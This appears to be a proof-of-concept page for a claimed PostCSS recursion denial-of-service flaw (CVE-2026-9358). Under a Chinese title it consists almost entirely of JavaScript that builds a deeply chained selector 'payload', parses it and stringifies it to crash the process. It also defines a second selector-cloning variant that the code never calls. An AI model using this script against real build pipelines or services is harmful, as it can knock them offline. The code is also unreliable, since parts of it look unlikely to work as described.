PostCSS 7.1.1及之前版本AST序列化不受控递归拒绝服务漏洞

// CVE-2026-9358 PoC - PostCSS Uncontrolled Recursion DoS // This PoC triggers uncontrolled recursion in postcss toString function const postcss = require('postcss'); // Generate deeply nested selector to trigger recursion function generateNestedSelector(depth) { let selector = '.root'; for (let i = 0; i < depth; i++) { selector = selector + ' > .nested-' + i + ' > '; } selector = selector + '.target'; return selector; } // Alternative PoC with circular reference simulation function generateRecursiveCSS() { // Generate CSS with deeply nested selectors const nestedSelector = generateNestedSelector(10000); return `${nestedSelector} { color: red; }`; } try { console.log('Starting PoC for CVE-2026-9358...'); console.log('Generating malicious CSS payload...'); const maliciousCSS = generateRecursiveCSS(); console.log('CSS payload length:', maliciousCSS.length); console.log('Attempting to parse malicious CSS...'); const result = postcss.parse(maliciousCSS); console.log('Attempting to stringify result (this will trigger recursion)...'); const output = result.toString(); console.log('PoC execution completed without crash (increase nesting depth)'); } catch (error) { console.log('PoC triggered vulnerability!'); console.log('Error:', error.message); } // Additional PoC variant for selector container recursion const postcss2 = require('postcss'); const selectorParser = require('postcss-selector-parser'); function pocVariant2() { const root = postcss2.parse('.a { color: red; }'); const processor = selectorParser((selectors) => { // Create self-referencing or deeply nested structure selectors.walk((selector) => { // Modify selector to create potential recursion selector.append(selector.clone()); }); }); try { root.walkDecls((decl) => { processor.process(decl.parent.selector).then(result => { console.log('Selector processed'); }); }); } catch (e) { console.log('Variant 2 triggered error:', e.message); } }